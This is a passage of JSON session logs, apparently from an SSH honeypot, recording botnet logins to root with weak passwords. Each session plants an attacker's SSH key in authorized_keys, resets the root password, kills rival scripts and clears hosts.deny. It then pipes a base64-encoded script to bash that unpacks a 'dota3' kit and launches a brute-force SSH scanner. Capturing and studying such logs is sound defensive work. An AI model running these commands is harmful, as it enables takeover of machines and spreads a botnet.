-l"},{"seq":21,"at":"2026-08-22T14:19:17.324125+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-22T14:19:17.699494+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-22T14:19:17.700091+00:00","kind":"output","latency_ms":null,"data":"top - 14:19:17 up 2 days, 11:09, 0 user, load average: 0.03, 0.03, 0.03\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7149 free, 8738 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-22T14:19:18.066580+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-22T14:19:18.067070+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-22T14:19:18.438629+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-22T14:19:18.439087+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-22T14:19:18.822227+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-22T14:19:18.823115+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-22T14:19:19.206140+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-22T14:19:20.146363+00:00","kind":"output","latency_ms":941,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-22T14:19:20.521580+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-22T14:19:21.472010+00:00","kind":"output","latency_ms":950,"data":"25G"},{"seq":34,"at":"2026-08-22T14:19:22.726873+00:00","kind":"input","latency_ms":null,"data":"echo \"root 123456123456\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-22T14:19:23.104318+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-22T14:19:23.486775+00:00","kind":"output","latency_ms":384,"data":""},{"seq":37,"at":"2026-08-22T14:19:24.429181+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-22T14:19:25.074778+00:00","kind":"output","latency_ms":644,"data":"root 123456123456"},{"seq":39,"at":"2026-08-22T14:19:25.453082+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-22T14:19:26.081168+00:00","kind":"output","latency_ms":628,"data":"root 123456123456"},{"seq":41,"at":"2026-08-22T14:19:26.447876+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-22T14:19:26.815932+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-22T14:19:27.329341+00:00","kind":"output","latency_ms":512,"data":"root 123456123456"},{"seq":44,"at":"2026-08-22T14:19:27.694920+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-22T14:19:28.136778+00:00","kind":"output","latency_ms":437,"data":"root 123456123456"},{"seq":46,"at":"2026-08-22T14:19:28.506310+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-22T14:19:28.947525+00:00","kind":"output","latency_ms":439,"data":""},{"seq":48,"at":"2026-08-22T14:19:36.841265+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-22T14:19:36.841800+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"123456123456","method":"password","accepted":true,"tier":"other"}]} {"id":"a0b73d99-0f20-4e51-aa7c-a0a50f254683","name":"early-civil-opossum","protocol":"ssh","channel_kind":"exec","src_ip":"181.164.12.188","src_port":47690,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":620,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-22T01:48:04.820032+00:00","ended_at":"2026-08-22T01:48:05.007288+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3555,"events":[{"seq":1,"at":"2026-08-22T01:47:28.005867+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-22T01:47:28.632543+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-22T01:47:34.155583+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-22T01:47:34.156868+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-22T01:47:34.776185+00:00","kind":"input","latency_ms":null,"data":"echo \"root:1hLYUw2YnM7v\"|chpasswd|bash"},{"seq":6,"at":"2026-08-22T01:47:35.250855+00:00","kind":"output","latency_ms":473,"data":""},{"seq":7,"at":"2026-08-22T01:47:35.394086+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":8,"at":"2026-08-22T01:47:36.010131+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-22T01:47:36.010617+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-22T01:47:36.625814+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-22T01:47:37.377826+00:00","kind":"output","latency_ms":751,"data":"15888 5341 10547 401 0 10047"},{"seq":12,"at":"2026-08-22T01:47:37.981529+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-22T01:47:38.475608+00:00","kind":"output","latency_ms":493,"data":"-rwxr-xr-x 1 root root 142K Apr 7 2026 /usr/bin/ls"},{"seq":14,"at":"2026-08-22T01:47:39.104060+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-22T01:47:39.104556+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-22T01:47:39.723856+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-22T01:47:39.724150+00:00","kind":"output","latency_ms":null,"data":" 01:47:39 up 1 day, 22:37, 0 user, load average: 0.21, 0.2, 0.23\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-22T01:47:40.348359+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-22T01:47:40.348809+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-22T01:47:40.961827+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-22T01:47:40.962319+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-22T01:47:41.584176+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-22T01:47:41.584584+00:00","kind":"output","latency_ms":null,"data":"top - 01:47:41 up 1 day, 22:37, 0 user, load average: 0.21, 0.2, 0.23\nTasks: 109 total, 1 running, 108 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-22T01:47:42.214714+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-22T01:47:42.215559+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-22T01:47:42.828887+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-22T01:47:42.829505+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-22T01:47:43.434299+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-22T01:47:43.434847+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-22T01:47:44.055790+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-22T01:47:44.736845+00:00","kind":"output","latency_ms":679,"data":"Model name: AMD EPYC 7713 64-Core Processor\nArchitecture: x86_64"},{"seq":32,"at":"2026-08-22T01:47:45.363867+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-22T01:47:45.908250+00:00","kind":"output","latency_ms":543,"data":"24.0G"},{"seq":34,"at":"2026-08-22T01:47:47.789965+00:00","kind":"input","latency_ms":null,"data":"echo \"root Administrator_123\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-22T01:47:48.413457+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-22T01:47:48.887116+00:00","kind":"output","latency_ms":473,"data":""},{"seq":37,"at":"2026-08-22T01:47:50.602838+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-22T01:47:51.050731+00:00","kind":"output","latency_ms":447,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-22T01:47:51.661873+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-22T01:47:52.449615+00:00","kind":"output","latency_ms":787,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-22T01:47:53.067938+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-22T01:47:53.681957+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-22T01:47:54.202105+00:00","kind":"output","latency_ms":519,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-22T01:47:54.824959+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-22T01:47:55.272931+00:00","kind":"output","latency_ms":446,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-22T01:47:55.897355+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-22T01:48:04.821274+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-22T01:48:04.821964+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"Administrator_123","method":"password","accepted":true,"tier":"other"}]} {"id":"586c8448-b441-41be-a6a4-ce51a64e72cd","name":"crimson-frank-albatross","protocol":"ssh","channel_kind":"exec","src_ip":"210.79.142.230","src_port":56430,"username":"root","client_version":"SSH-2.0-libssh_0.11.1","auth_attempts":1,"automation":"bot","think_ms":740,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-21T22:44:40.988584+00:00","ended_at":"2026-08-21T22:44:41.220167+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3495,"events":[{"seq":1,"at":"2026-08-21T22:43:57.441928+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-21T22:43:58.179627+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-21T22:44:05.385768+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-21T22:44:05.386428+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-21T22:44:06.182815+00:00","kind":"input","latency_ms":null,"data":"echo \"root:qkXq5jktqR4M\"|chpasswd|bash"},{"seq":6,"at":"2026-08-21T22:44:06.922447+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-21T22:44:07.661524+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-21T22:44:07.662286+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-21T22:44:08.415942+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-21T22:44:09.368103+00:00","kind":"output","latency_ms":951,"data":"15888 1350 10532 0 4005 1311"},{"seq":11,"at":"2026-08-21T22:44:10.106679+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-21T22:44:11.038652+00:00","kind":"output","latency_ms":931,"data":"-rwxr-xr-x 1 root root 148K Jan 28 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-21T22:44:11.777452+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-21T22:44:11.778193+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-21T22:44:12.517506+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-21T22:44:12.518149+00:00","kind":"output","latency_ms":null,"data":" 22:44:12 up 1 day, 19:34, 0 user, load average: 0.09, 0.1, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-21T22:44:13.255611+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-21T22:44:13.255954+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-21T22:44:13.997292+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-21T22:44:13.998072+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-21T22:44:14.750774+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-21T22:44:14.751432+00:00","kind":"output","latency_ms":null,"data":"top - 22:44:14 up 1 day, 19:34, 0 user, load average: 0.09, 0.1, 0.07\nTasks: 119 total, 1 running, 118 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-21T22:44:15.489142+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-21T22:44:15.489613+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-21T22:44:16.227491+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-21T22:44:16.228208+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-21T22:44:16.967762+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-21T22:44:16.968322+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-21T22:44:17.706201+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-21T22:44:18.371275+00:00","kind":"output","latency_ms":664,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-21T22:44:19.121593+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-21T22:44:20.123775+00:00","kind":"output","latency_ms":1001,"data":"24G"},{"seq":33,"at":"2026-08-21T22:44:22.434522+00:00","kind":"input","latency_ms":null,"data":"echo \"root Test12345678\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-21T22:44:23.172084+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-21T22:44:24.472806+00:00","kind":"output","latency_ms":1300,"data":""},{"seq":36,"at":"2026-08-21T22:44:25.776320+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-21T22:44:26.457220+00:00","kind":"output","latency_ms":679,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-21T22:44:27.196692+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-21T22:44:27.973282+00:00","kind":"output","latency_ms":775,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-21T22:44:28.711861+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-21T22:44:29.448786+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-21T22:44:30.119391+00:00","kind":"output","latency_ms":669,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-21T22:44:30.859373+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-21T22:44:31.445487+00:00","kind":"output","latency_ms":582,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-21T22:44:32.185356+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-21T22:44:32.791625+00:00","kind":"output","latency_ms":608,"data":""},{"seq":47,"at":"2026-08-21T22:44:40.989488+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-21T22:44:40.989902+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"Test12345678","method":"password","accepted":true,"tier":"other"}]} {"id":"085553b7-74c2-4a2d-9c6e-99eaa2ee2e06","name":"clever-wistful-condor","protocol":"ssh","channel_kind":"exec","src_ip":"143.202.162.212","src_port":35234,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":271,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-21T17:00:24.227469+00:00","ended_at":"2026-08-21T17:00:24.302398+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3554,"events":[{"seq":1,"at":"2026-08-21T16:59:57.112793+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-21T16:59:57.382592+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-21T17:00:01.917570+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-21T17:00:01.918028+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-21T17:00:02.189247+00:00","kind":"input","latency_ms":null,"data":"echo \"root:pXANzkJhY6pO\"|chpasswd|bash"},{"seq":6,"at":"2026-08-21T17:00:02.460227+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-21T17:00:02.728641+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-21T17:00:02.729228+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-21T17:00:02.999908+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, 